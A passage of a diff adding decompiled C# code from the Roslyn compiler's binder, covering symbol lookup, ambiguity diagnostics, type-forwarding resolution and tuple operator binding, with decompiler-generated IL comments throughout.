wellKnownType.AddUseSiteInfo(ref useSiteInfo); + return wellKnownType; + } + + internal Symbol GetWellKnownTypeMember(WellKnownMember member, BindingDiagnosticBag diagnostics, Location location = null, SyntaxNode syntax = null, bool isOptional = false) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return GetWellKnownTypeMember(Compilation, member, diagnostics, location, syntax, isOptional); + } + + internal static Symbol GetWellKnownTypeMember(CSharpCompilation compilation, WellKnownMember member, BindingDiagnosticBag diagnostics, Location location = null, SyntaxNode syntax = null, bool isOptional = false) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo useSiteInfo; + Symbol wellKnownTypeMember = GetWellKnownTypeMember(compilation, member, out useSiteInfo, isOptional); + if (syntax != null) + { + ((BindingDiagnosticBag)(object)diagnostics).Add(useSiteInfo, syntax); + return wellKnownTypeMember; + } + ((BindingDiagnosticBag)(object)diagnostics).Add(useSiteInfo, location); + return wellKnownTypeMember; + } + + internal static Symbol GetWellKnownTypeMember(CSharpCompilation compilation, WellKnownMember member, out UseSiteInfo useSiteInfo, bool isOptional = false) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + Symbol wellKnownTypeMember = compilation.GetWellKnownTypeMember(member); + if ((object)wellKnownTypeMember != null) + { + useSiteInfo = GetUseSiteInfoForWellKnownMemberOrContainingType(wellKnownTypeMember); + if (useSiteInfo.DiagnosticInfo != null && isOptional) + { + if ((int)useSiteInfo.DiagnosticInfo.Severity == 3) + { + useSiteInfo = default(UseSiteInfo); + return null; + } + useSiteInfo = new UseSiteInfo((DiagnosticInfo)null, useSiteInfo.PrimaryDependency, useSiteInfo.SecondaryDependencies); + } + } + else if (!isOptional) + { + MemberDescriptor descriptor = WellKnownMembers.GetDescriptor(member); + useSiteInfo = new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_MissingPredefinedMember, ((MemberDescriptor)(ref descriptor)).DeclaringTypeMetadataName, descriptor.Name)); + } + else + { + useSiteInfo = default(UseSiteInfo); + } + return wellKnownTypeMember; + } + + internal Symbol ResultSymbol(LookupResult result, string simpleName, int arity, SyntaxNode where, BindingDiagnosticBag diagnostics, bool suppressUseSiteDiagnostics, out bool wasError, NamespaceOrTypeSymbol qualifierOpt, LookupOptions options = LookupOptions.Default) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + Symbol symbol = resultSymbol(result, simpleName, arity, where, diagnostics, suppressUseSiteDiagnostics, out wasError, qualifierOpt, options); + if ((int)symbol.Kind == 11) + { + CheckReceiverAndRuntimeSupportForSymbolAccess(where, null, symbol, diagnostics); + if (suppressUseSiteDiagnostics && ((BindingDiagnosticBag)(object)diagnostics).DependenciesBag != null) + { + AssemblySymbol containingAssembly = symbol.ContainingAssembly; + if ((object)containingAssembly != null && containingAssembly != Compilation.Assembly && containingAssembly != Compilation.Assembly.CorLibrary) + { + ((BindingDiagnosticBag)(object)diagnostics).AddDependency(containingAssembly); + } + } + } + return symbol; + Symbol resultSymbol(LookupResult lookupResult, string text, int arity2, SyntaxNode val, BindingDiagnosticBag bindingDiagnosticBag, bool flag2, out bool reference, NamespaceOrTypeSymbol namespaceOrTypeSymbol, LookupOptions options2) + { + //IL_06f6: Unknown result type (might be due to invalid IL or missing references) + //IL_06fd: Invalid comparison between Unknown and I4 + //IL_06a4: Unknown result type (might be due to invalid IL or missing references) + //IL_06ab: Invalid comparison between Unknown and I4 + //IL_0896: Unknown result type (might be due to invalid IL or missing references) + //IL_089c: Invalid comparison between Unknown and I4 + //IL_07eb: Unknown result type (might be due to invalid IL or missing references) + //IL_07f0: Unknown result type (might be due to invalid IL or missing references) + //IL_074c: Unknown result type (might be due to invalid IL or missing references) + //IL_0752: Invalid comparison between Unknown and I4 + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Invalid comparison between Unknown and I4 + //IL_0544: Unknown result type (might be due to invalid IL or missing references) + //IL_054b: Invalid comparison between Unknown and I4 + //IL_024d: Unknown result type (might be due to invalid IL or missing references) + //IL_0254: Invalid comparison between Unknown and I4 + //IL_0134: Unknown result type (might be due to invalid IL or missing references) + //IL_013b: Invalid comparison between Unknown and I4 + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Invalid comparison between Unknown and I4 + //IL_0552: Unknown result type (might be due to invalid IL or missing references) + //IL_0559: Invalid comparison between Unknown and I4 + //IL_0330: Unknown result type (might be due to invalid IL or missing references) + //IL_0337: Invalid comparison between Unknown and I4 + //IL_025b: Unknown result type (might be due to invalid IL or missing references) + //IL_0262: Invalid comparison between Unknown and I4 + //IL_018d: Unknown result type (might be due to invalid IL or missing references) + //IL_0194: Invalid comparison between Unknown and I4 + //IL_013f: Unknown result type (might be due to invalid IL or missing references) + //IL_0146: Invalid comparison between Unknown and I4 + //IL_0397: Unknown result type (might be due to invalid IL or missing references) + //IL_039e: Invalid comparison between Unknown and I4 + //IL_033b: Unknown result type (might be due to invalid IL or missing references) + //IL_0342: Invalid comparison between Unknown and I4 + //IL_0198: Unknown result type (might be due to invalid IL or missing references) + //IL_019f: Invalid comparison between Unknown and I4 + //IL_061a: Unknown result type (might be due to invalid IL or missing references) + //IL_0620: Expected O, but got Unknown + //IL_0629: Unknown result type (might be due to invalid IL or missing references) + //IL_062f: Expected O, but got Unknown + //IL_04c0: Unknown result type (might be due to invalid IL or missing references) + //IL_04c7: Invalid comparison between Unknown and I4 + //IL_03a5: Unknown result type (might be due to invalid IL or missing references) + //IL_03ac: Invalid comparison between Unknown and I4 + //IL_04cb: Unknown result type (might be due to invalid IL or missing references) + //IL_04d2: Invalid comparison between Unknown and I4 + //IL_02ac: Unknown result type (might be due to invalid IL or missing references) + //IL_02b2: Expected O, but got Unknown + //IL_02bb: Unknown result type (might be due to invalid IL or missing references) + //IL_02c1: Expected O, but got Unknown + ArrayBuilder symbols = lookupResult.Symbols; + reference = false; + if (lookupResult.IsMultiViable) + { + if (symbols.Count > 1) + { + symbols.Sort((IComparer)ConsistentSymbolOrder.Instance); + ImmutableArray immutableArray = symbols.ToImmutable(); + for (int i = 0; i < symbols.Count; i++) + { + symbols[i] = UnwrapAlias(symbols[i], bindingDiagnosticBag, val); + } + BestSymbolInfo secondBest; + BestSymbolInfo bestSymbolInfo = GetBestSymbolInfo(symbols, out secondBest); + if (bestSymbolInfo.IsFromCompilation && !secondBest.IsFromCompilation) + { + Symbol symbol2 = symbols[bestSymbolInfo.Index]; + Symbol symbol3 = symbols[secondBest.Index]; + object obj = ((!bestSymbolInfo.IsFromSourceModule) ? ((object)symbol2.ContainingModule) : ((object)symbol2.GetFirstLocation().SourceTree.FilePath)); + if (NameAndArityMatchRecursively(symbol2, symbol3)) + { + if ((int)symbol2.Kind == 12 && (int)symbol3.Kind == 11) + { + bindingDiagnosticBag.Add(ErrorCode.WRN_SameFullNameThisNsAgg, val.Location, immutableArray, obj, symbol2, symbol3.ContainingAssembly, symbol3); + return immutableArray[bestSymbolInfo.Index]; + } + if ((int)symbol2.Kind == 11 && (int)symbol3.Kind == 12) + { + bindingDiagnosticBag.Add(ErrorCode.WRN_SameFullNameThisAggNs, val.Location, immutableArray, obj, symbol2, GetContainingAssembly(symbol3), symbol3); + return immutableArray[bestSymbolInfo.Index]; + } + if ((int)symbol2.Kind == 11 && (int)symbol3.Kind == 11) + { + bindingDiagnosticBag.Add(ErrorCode.WRN_SameFullNameThisAggAgg, val.Location, immutableArray, obj, symbol2, symbol3.ContainingAssembly, symbol3); + return immutableArray[bestSymbolInfo.Index]; + } + } + } + Symbol symbol4 = symbols[bestSymbolInfo.Index]; + Symbol symbol5 = symbols[secondBest.Index]; + if (bestSymbolInfo.IsFromFile && !secondBest.IsFromFile) + { + return symbol4; + } + bool flag; + CSDiagnosticInfo cSDiagnosticInfo; + if (symbol4 != symbol5 && NameAndArityMatchRecursively(symbol4, symbol5)) + { + flag = !bestSymbolInfo.IsFromSourceModule || !secondBest.IsFromSourceModule; + if ((int)symbol4.Kind == 11 && (int)symbol5.Kind == 11) + { + if (symbol4.OriginalDefinition == symbol5.OriginalDefinition) + { + flag = true; + cSDiagnosticInfo = new CSDiagnosticInfo(ErrorCode.ERR_AmbigContext, immutableArray, new object[3] + { + (val as NameSyntax)?.ErrorDisplayName() ?? text, + (object)new FormattedSymbol((ISymbolInternal)(object)symbol4, SymbolDisplayFormat.CSharpErrorMessageFormat), + (object)new FormattedSymbol((ISymbolInternal)(object)symbol5, SymbolDisplayFormat.CSharpErrorMessageFormat) + }); + } + else + { + cSDiagnosticInfo = new CSDiagnosticInfo(ErrorCode.ERR_SameFullNameAggAgg, immutableArray, new object[3] { symbol4.ContainingAssembly, symbol4, symbol5.ContainingAssembly }); + if (secondBest.IsFromAddedModule) + { + flag = false; + } + else if (Flags.Includes(BinderFlags.IgnoreCorLibraryDuplicatedTypes) && secondBest.IsFromCorLibrary) + { + return symbol4; + } + } + } + else if ((int)symbol4.Kind == 12 && (int)symbol5.Kind == 11) + { + cSDiagnosticInfo = new CSDiagnosticInfo(ErrorCode.ERR_SameFullNameNsAgg, immutableArray, new object[4] + { + GetContainingAssembly(symbol4), + symbol4, + symbol5.ContainingAssembly, + symbol5 + }); + if (bestSymbolInfo.IsFromSourceModule && secondBest.IsFromAddedModule) + { + flag = false; + } + } + else if ((int)symbol4.Kind == 11 && (int)symbol5.Kind == 12) + { + if (!secondBest.IsFromCompilation || secondBest.IsFromSourceModule) + { + cSDiagnosticInfo = new CSDiagnosticInfo(ErrorCode.ERR_SameFullNameNsAgg, immutableArray, new object[4] + { + GetContainingAssembly(symbol5), + symbol5, + symbol4.ContainingAssembly, + symbol4 + }); + } + else + { + object obj2 = ((!bestSymbolInfo.IsFromSourceModule) ? ((object)symbol4.ContainingModule) : ((object)symbol4.GetFirstLocation().SourceTree.FilePath)); + ModuleSymbol moduleSymbol = symbol5.ContainingModule; + if ((object)moduleSymbol == null) + { + ImmutableArray.Enumerator enumerator = ((NamespaceSymbol)symbol5).ConstituentNamespaces.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceSymbol current = enumerator.Current; + if (current.ContainingAssembly == Compilation.Assembly) + { + ModuleSymbol containingModule = current.ContainingModule; + if ((object)moduleSymbol == null || moduleSymbol.Ordinal > containingModule.Ordinal) + { + moduleSymbol = containingModule; + } + } + } + } + cSDiagnosticInfo = new CSDiagnosticInfo(ErrorCode.ERR_SameFullNameThisAggThisNs, immutableArray, new object[4] { obj2, symbol4, moduleSymbol, symbol5 }); + } + } + else if ((int)symbol4.Kind == 16 && (int)symbol5.Kind == 16) + { + cSDiagnosticInfo = new CSDiagnosticInfo(ErrorCode.ERR_AmbigMember, immutableArray, new object[2] { symbol4, symbol5 }); + } + else + { + cSDiagnosticInfo = new CSDiagnosticInfo(ErrorCode.ERR_AmbigMember, immutableArray, new object[2] { symbol4, symbol5 }); + flag = true; + } + } + else + { + flag = true; + cSDiagnosticInfo = ((!(symbol4 is NamespaceOrTypeSymbol) || !(symbol5 is NamespaceOrTypeSymbol)) ? new CSDiagnosticInfo(ErrorCode.ERR_AmbigMember, immutableArray, new object[2] { symbol4, symbol5 }) : ((!options2.IsAttributeTypeLookup() || (int)symbol4.Kind != 11 || (int)symbol5.Kind != 11 || !(immutableArray[bestSymbolInfo.Index].Name != immutableArray[secondBest.Index].Name) || !Compilation.IsAttributeType((TypeSymbol)(NamedTypeSymbol)symbol4) || !Compilation.IsAttributeType((TypeSymbol)(NamedTypeSymbol)symbol5)) ? new CSDiagnosticInfo(ErrorCode.ERR_AmbigContext, immutableArray, new object[3] + { + (val as NameSyntax)?.ErrorDisplayName() ?? text, + (object)new FormattedSymbol((ISymbolInternal)(object)symbol4, SymbolDisplayFormat.CSharpErrorMessageFormat), + (object)new FormattedSymbol((ISymbolInternal)(object)symbol5, SymbolDisplayFormat.CSharpErrorMessageFormat) + }) : new CSDiagnosticInfo(ErrorCode.ERR_AmbiguousAttribute, immutableArray, new object[3] + { + (val as NameSyntax)?.ErrorDisplayName() ?? text, + symbol4, + symbol5 + }))); + } + reference = true; + if (flag && cSDiagnosticInfo != null) + { + bindingDiagnosticBag.Add((DiagnosticInfo?)(object)cSDiagnosticInfo, val.Location); + } + return new ExtendedErrorTypeSymbol(GetContainingNamespaceOrType(immutableArray[0]), immutableArray, LookupResultKind.Ambiguous, (DiagnosticInfo)(object)cSDiagnosticInfo, arity2); + } + Symbol symbol6 = symbols[0]; + if (symbol6 is TypeSymbol typeSymbol && (int)typeSymbol.PrimitiveTypeCode == 17 && text == "Void") + { + reference = true; + CSDiagnosticInfo cSDiagnosticInfo2 = new CSDiagnosticInfo(ErrorCode.ERR_SystemVoid); + bindingDiagnosticBag.Add((DiagnosticInfo?)(object)cSDiagnosticInfo2, val.Location); + symbol6 = new ExtendedErrorTypeSymbol(GetContainingNamespaceOrType(symbol6), symbol6, LookupResultKind.NotReferencable, (DiagnosticInfo)(object)cSDiagnosticInfo2); + } + else + { + if ((int)symbol6.Kind == 11 && ((SourceModuleSymbol)Compilation.SourceModule).AnyReferencedAssembliesAreLinked && ((BindingDiagnosticBag)bindingDiagnosticBag).DiagnosticBag != null) + { + EmbeddedTypesManager.IsValidEmbeddableType((NamedTypeSymbol)symbol6, val, ((BindingDiagnosticBag)bindingDiagnosticBag).DiagnosticBag); + } + if (!flag2) + { + reference = ReportUseSite(symbol6, bindingDiagnosticBag, val); + } + else if ((int)symbol6.Kind == 4) + { + ErrorTypeSymbol errorTypeSymbol = (ErrorTypeSymbol)symbol6; + if (errorTypeSymbol.Unreported) + { + DiagnosticInfo errorInfo = errorTypeSymbol.ErrorInfo; + if (errorInfo != null && errorInfo.Code == 146) + { + reference = true; + bindingDiagnosticBag.Add(errorInfo, val.Location); + symbol6 = new ExtendedErrorTypeSymbol(GetContainingNamespaceOrType(errorTypeSymbol), errorTypeSymbol.Name, errorTypeSymbol.Arity, errorInfo); + } + } + } + } + return symbol6; + } + reference = true; + if (lookupResult.Kind == LookupResultKind.Empty) + { + string aliasOpt = null; + SyntaxNode val2 = val; + while (val2 is ExpressionSyntax) + { + if (val2.Kind() == SyntaxKind.AliasQualifiedName) + { + SyntaxToken identifier = ((AliasQualifiedNameSyntax)(object)val2).Alias.Identifier; + aliasOpt = ((SyntaxToken)(ref identifier)).ValueText; + break; + } + val2 = val2.Parent; + } + CSDiagnosticInfo errorInfo2 = NotFound(val, text, arity2, (val as NameSyntax)?.ErrorDisplayName() ?? text, bindingDiagnosticBag, aliasOpt, namespaceOrTypeSymbol, options2); + return new ExtendedErrorTypeSymbol(namespaceOrTypeSymbol ?? Compilation.Assembly.GlobalNamespace, text, arity2, (DiagnosticInfo?)(object)errorInfo2); + } + if (!flag2) + { + for (int j = 0; j < symbols.Count; j++) + { + ReportUseSite(symbols[j], bindingDiagnosticBag, val); + } + } + if (lookupResult.Error != null && ((object)namespaceOrTypeSymbol == null || (int)namespaceOrTypeSymbol.Kind != 4)) + { + ((BindingDiagnosticBag)bindingDiagnosticBag).Add((Diagnostic)(object)new CSDiagnostic(lookupResult.Error, val.Location)); + } + if (symbols.Count > 1 || symbols[0] is NamespaceOrTypeSymbol || symbols[0] is AliasSymbol || lookupResult.Kind == LookupResultKind.NotATypeOrNamespace || lookupResult.Kind == LookupResultKind.NotAnAttributeType) + { + return new ExtendedErrorTypeSymbol(GetContainingNamespaceOrType(symbols[0]), symbols.ToImmutable(), lookupResult.Kind, lookupResult.Error, arity2); + } + return symbols[0]; + } + } + + private static AssemblySymbol GetContainingAssembly(Symbol symbol) + { + return symbol.ContainingAssembly ?? ((NamespaceSymbol)symbol).ConstituentNamespaces.First().ContainingAssembly; + } + + private BestSymbolInfo GetBestSymbolInfo(ArrayBuilder symbols, out BestSymbolInfo secondBest) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + BestSymbolInfo first = default(BestSymbolInfo); + BestSymbolInfo first2 = default(BestSymbolInfo); + CSharpCompilation compilation = Compilation; + for (int i = 0; i < symbols.Count; i++) + { + Symbol symbol = symbols[i]; + BestSymbolLocation bestSymbolLocation; + if ((int)symbol.Kind == 12) + { + bestSymbolLocation = BestSymbolLocation.None; + ImmutableArray.Enumerator enumerator = ((NamespaceSymbol)symbol).ConstituentNamespaces.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceSymbol current = enumerator.Current; + BestSymbolLocation location = GetLocation(compilation, current); + if (BestSymbolInfo.IsSecondLocationBetter(bestSymbolLocation, location)) + { + bestSymbolLocation = location; + if (bestSymbolLocation == BestSymbolLocation.FromSourceModule) + { + break; + } + } + } + } + else + { + bestSymbolLocation = GetLocation(compilation, symbol); + } + BestSymbolInfo second = new BestSymbolInfo(bestSymbolLocation, i); + if (BestSymbolInfo.Sort(ref first2, ref second)) + { + BestSymbolInfo.Sort(ref first, ref first2); + } + } + secondBest = first2; + return first; + } + + private static BestSymbolLocation GetLocation(CSharpCompilation compilation, Symbol symbol) + { + if (symbol is NamedTypeSymbol { IsFileLocal: not false }) + { + return BestSymbolLocation.FromFile; + } + AssemblySymbol containingAssembly = symbol.ContainingAssembly; + if (containingAssembly == compilation.SourceAssembly) + { + if (!(symbol.ContainingModule == compilation.SourceModule)) + { + return BestSymbolLocation.FromAddedModule; + } + return BestSymbolLocation.FromSourceModule; + } + if (!(containingAssembly == containingAssembly.CorLibrary)) + { + return BestSymbolLocation.FromReferencedAssembly; + } + return BestSymbolLocation.FromCorLibrary; + } + + private CSDiagnosticInfo NotFound(SyntaxNode where, string simpleName, int arity, string whereText, BindingDiagnosticBag diagnostics, string aliasOpt, NamespaceOrTypeSymbol qualifierOpt, LookupOptions options) + { + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + //IL_0188: Unknown result type (might be due to invalid IL or missing references) + Location location = where.Location; + if (options.IsAttributeTypeLookup() && !options.IsVerbatimNameAttributeTypeLookup()) + { + string whereText2 = ((arity > 0) ? (simpleName + "Attribute<>") : (simpleName + "Attribute")); + NotFound(where, simpleName, arity, whereText2, diagnostics, aliasOpt, qualifierOpt, options | LookupOptions.VerbatimNameAttributeTypeOnly); + } + AssemblySymbol forwardedToAssembly; + if ((object)qualifierOpt != null) + { + if (qualifierOpt.IsType) + { + if (qualifierOpt is ErrorTypeSymbol { ErrorInfo: not null } errorTypeSymbol) + { + return (CSDiagnosticInfo)(object)errorTypeSymbol.ErrorInfo; + } + return diagnostics.Add(ErrorCode.ERR_DottedTypeNameNotFoundInAgg, location, whereText, qualifierOpt); + } + forwardedToAssembly = GetForwardedToAssembly(simpleName, arity, ref qualifierOpt, diagnostics, location); + if ((object)qualifierOpt == Compilation.GlobalNamespace) + { + if ((object)forwardedToAssembly != null) + { + return diagnostics.Add(ErrorCode.ERR_GlobalSingleTypeNameNotFoundFwd, location, whereText, forwardedToAssembly); + } + return diagnostics.Add(ErrorCode.ERR_GlobalSingleTypeNameNotFound, location, whereText); + } + object obj = qualifierOpt; + if (aliasOpt != null && qualifierOpt.IsNamespace && ((NamespaceSymbol)qualifierOpt).IsGlobalNamespace) + { + obj = aliasOpt; + } + if ((object)forwardedToAssembly != null) + { + return diagnostics.Add(ErrorCode.ERR_DottedTypeNameNotFoundInNSFwd, location, whereText, obj, forwardedToAssembly); + } + return diagnostics.Add(ErrorCode.ERR_DottedTypeNameNotFoundInNS, location, whereText, obj); + } + if (options == LookupOptions.NamespaceAliasesOnly) + { + return diagnostics.Add(ErrorCode.ERR_AliasNotFound, location, whereText); + } + IdentifierNameSyntax obj2 = where as IdentifierNameSyntax; + object obj3; + if (obj2 == null) + { + obj3 = null; + } + else + { + SyntaxToken identifier = obj2.Identifier; + obj3 = ((SyntaxToken)(ref identifier)).Text; + } + if ((string?)obj3 == "var" && !options.IsAttributeTypeLookup()) + { + ErrorCode code = ((where.Parent is QueryClauseSyntax) ? ErrorCode.ERR_TypeVarNotFoundRangeVariable : ErrorCode.ERR_TypeVarNotFound); + return diagnostics.Add(code, location); + } + forwardedToAssembly = GetForwardedToAssembly(simpleName, arity, ref qualifierOpt, diagnostics, location); + if ((object)forwardedToAssembly != null) + { + if (!(qualifierOpt == null)) + { + return diagnostics.Add(ErrorCode.ERR_DottedTypeNameNotFoundInNSFwd, location, whereText, qualifierOpt, forwardedToAssembly); + } + return diagnostics.Add(ErrorCode.ERR_SingleTypeNameNotFoundFwd, location, whereText, forwardedToAssembly); + } + return diagnostics.Add(ErrorCode.ERR_SingleTypeNameNotFound, location, whereText); + } + + protected virtual AssemblySymbol GetForwardedToAssemblyInUsingNamespaces(string metadataName, ref NamespaceOrTypeSymbol qualifierOpt, BindingDiagnosticBag diagnostics, Location location) + { + return Next?.GetForwardedToAssemblyInUsingNamespaces(metadataName, ref qualifierOpt, diagnostics, location); + } + + protected AssemblySymbol GetForwardedToAssembly(string fullName, BindingDiagnosticBag diagnostics, Location location) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Invalid comparison between Unknown and I4 + MetadataTypeName emittedName = MetadataTypeName.FromFullName(fullName, false, -1); + ImmutableArray.Enumerator enumerator = Compilation.Assembly.Modules[0].GetReferencedAssemblySymbols().GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol namedTypeSymbol = enumerator.Current.TryLookupForwardedMetadataTypeWithCycleDetection(ref emittedName, null); + if ((object)namedTypeSymbol == null) + { + continue; + } + if ((int)namedTypeSymbol.Kind == 4) + { + DiagnosticInfo errorInfo = ((ErrorTypeSymbol)namedTypeSymbol).ErrorInfo; + if (errorInfo.Code == 731) + { + diagnostics.Add(ErrorCode.ERR_CycleInTypeForwarder, location, fullName, namedTypeSymbol.ContainingAssembly.Name); + } + else if (errorInfo.Code == 8206) + { + diagnostics.Add(errorInfo, location); + return null; + } + } + return namedTypeSymbol.ContainingAssembly; + } + return null; + } + + internal static ContextualAttributeBinder TryGetContextualAttributeBinder(Binder binder) + { + if ((binder.Flags & BinderFlags.InContextualAttributeBinder) != BinderFlags.None) + { + do + { + if (binder is ContextualAttributeBinder result) + { + return result; + } + binder = binder.Next; + } + while (binder != null); + } + return null; + } + + protected AssemblySymbol GetForwardedToAssembly(string name, int arity, ref NamespaceOrTypeSymbol qualifierOpt, BindingDiagnosticBag diagnostics, Location location) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + ContextualAttributeBinder contextualAttributeBinder = TryGetContextualAttributeBinder(this); + if (contextualAttributeBinder != null) + { + Symbol attributeTarget = contextualAttributeBinder.AttributeTarget; + if ((object)attributeTarget != null && (int)attributeTarget.Kind == 2) + { + return null; + } + } + string text = MetadataHelpers.ComposeAritySuffixedMetadataName(name, arity, (string)null); + string fullName = MetadataHelpers.BuildQualifiedName(qualifierOpt?.ToDisplayString(SymbolDisplayFormat.QualifiedNameOnlyFormat), text); + AssemblySymbol forwardedToAssembly = GetForwardedToAssembly(fullName, diagnostics, location); + if ((object)forwardedToAssembly != null) + { + return forwardedToAssembly; + } + if ((object)qualifierOpt == null) + { + return GetForwardedToAssemblyInUsingNamespaces(text, ref qualifierOpt, diagnostics, location); + } + return null; + } + + internal static bool CheckFeatureAvailability(SyntaxNode syntax, MessageID feature, BindingDiagnosticBag diagnostics, Location? location = null) + { + return CheckFeatureAvailability(syntax, feature, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, location); + } + + internal static bool CheckFeatureAvailability(SyntaxToken syntax, MessageID feature, BindingDiagnosticBag diagnostics, bool forceWarning = false) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return CheckFeatureAvailability(syntax, feature, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, forceWarning); + } + + internal static bool CheckFeatureAvailability(SyntaxTree tree, MessageID feature, BindingDiagnosticBag diagnostics, Location location) + { + return CheckFeatureAvailability(tree, feature, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, location); + } + + private static bool CheckFeatureAvailability(SyntaxNode syntax, MessageID feature, DiagnosticBag? diagnostics, Location? location = null) + { + return CheckFeatureAvailability(syntax.SyntaxTree, feature, diagnostics, (location, syntax), ((Location location, SyntaxNode syntax) tuple) => tuple.location ?? tuple.syntax.GetLocation()); + } + + private static bool CheckFeatureAvailability(SyntaxToken syntax, MessageID feature, DiagnosticBag? diagnostics, bool forceWarning = false) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return CheckFeatureAvailability(((SyntaxToken)(ref syntax)).SyntaxTree, feature, diagnostics, syntax, (SyntaxToken val) => ((SyntaxToken)(ref val)).GetLocation(), forceWarning); + } + + private static bool CheckFeatureAvailability(SyntaxTree tree, MessageID feature, DiagnosticBag? diagnostics, Location location) + { + return CheckFeatureAvailability(tree, feature, diagnostics, location, (Location result) => result); + } + + private static bool CheckFeatureAvailability(SyntaxTree tree, MessageID feature, DiagnosticBag? diagnostics, TData data, Func getLocation, bool forceWarning = false) + { + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = feature.GetFeatureAvailabilityDiagnosticInfo((CSharpParseOptions)(object)tree.Options); + if (featureAvailabilityDiagnosticInfo != null) + { + if (forceWarning) + { + diagnostics?.Add(ErrorCode.WRN_ErrorOverride, getLocation(data), featureAvailabilityDiagnosticInfo, (int)featureAvailabilityDiagnosticInfo.Code); + } + else + { + diagnostics?.Add((DiagnosticInfo)(object)featureAvailabilityDiagnosticInfo, getLocation(data)); + } + return false; + } + return true; + } + + private BoundTupleBinaryOperator BindTupleBinaryOperator(BinaryExpressionSyntax node, BinaryOperatorKind kind, BoundExpression left, BoundExpression right, BindingDiagnosticBag diagnostics) + { + TupleBinaryOperatorInfo.Multiple multiple = BindTupleBinaryOperatorNestedInfo(node, kind, left, right, diagnostics); + BoundExpression left2 = ApplyConvertedTypes(left, multiple, isRight: false, diagnostics); + BoundExpression right2 = ApplyConvertedTypes(right, multiple, isRight: true, diagnostics); + TypeSymbol specialType = GetSpecialType((SpecialType)7, diagnostics, (SyntaxNode)(object)node); + return new BoundTupleBinaryOperator((SyntaxNode)(object)node, left2, right2, kind, multiple, specialType); + } + + private BoundExpression ApplyConvertedTypes(BoundExpression expr, TupleBinaryOperatorInfo @operator, bool isRight, BindingDiagnosticBag diagnostics) + { + TypeSymbol typeSymbol = (isRight ? @operator.RightConvertedTypeOpt : @operator.LeftConvertedTypeOpt); + if ((object)typeSymbol == null) + { + if (@operator.InfoKind == TupleBinaryOperatorInfoKind.Multiple && expr is BoundTupleLiteral boundTupleLiteral) + { + TupleBinaryOperatorInfo.Multiple multiple = (TupleBinaryOperatorInfo.Multiple)@operator; + if (multiple.Operators.Length == 0) + { + return BindToNaturalType(expr, diagnostics, reportNoTargetType: false); + } + ImmutableArray arguments = boundTupleLiteral.Arguments; + int length = arguments.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int i = 0; i < length; i++) + { + instance.Add(ApplyConvertedTypes(arguments[i], multiple.Operators[i], isRight, diagnostics)); + } + return new BoundConvertedTupleLiteral(boundTupleLiteral.Syntax, boundTupleLiteral, wasTargetTyped: false, instance.ToImmutableAndFree(), boundTupleLiteral.ArgumentNamesOpt, boundTupleLiteral.InferredNamesOpt, boundTupleLiteral.Type, boundTupleLiteral.HasErrors); + } + return BindToNaturalType(expr, diagnostics, reportNoTargetType: false); + } + return GenerateConversionForAssignment(typeSymbol, expr, diagnostics); + } + + private TupleBinaryOperatorInfo BindTupleBinaryOperatorInfo(BinaryExpressionSyntax node, BinaryOperatorKind kind, BoundExpression left, BoundExpression right, BindingDiagnosticBag diagnostics) + { + TypeSymbol type = left.Type; + TypeSymbol type2 = right.Type; + if (((object)type != null && type.IsDynamic()) || ((object)type2 != null && type2.IsDynamic())) + { + return BindTupleDynamicBinaryOperatorSingleInfo(node, kind, left, right, diagnostics); + } + if (IsTupleBinaryOperation(left, right)) + { + return BindTupleBinaryOperatorNestedInfo(node, kind, left, right, diagnostics); + } + BoundExpression boundExpression = BindSimpleBinaryOperator(node, diagnostics, left, right, leaveUnconvertedIfInterpolatedString: false); + if (!(boundExpression is BoundLiteral)) + { + if (boundExpression is BoundBinaryOperator boundBinaryOperator) + { + PrepareBoolConversionAndTruthOperator(boundBinaryOperator.Type, node, kind, diagnostics, out var conversionForBool, out var conversionForBoolPlaceholder, out var boolOperator); + CheckConstraintLanguageVersionAndRuntimeSupportForOperator((SyntaxNode)(object)node, boolOperator.Method, isUnsignedRightShift: false, boolOperator.ConstrainedToTypeOpt, diagnostics); + return new TupleBinaryOperatorInfo.Single(boundBinaryOperator.Left.Type, boundBinaryOperator.Right.Type, boundBinaryOperator.OperatorKind, boundBinaryOperator.Method, boundBinaryOperator.ConstrainedToType, 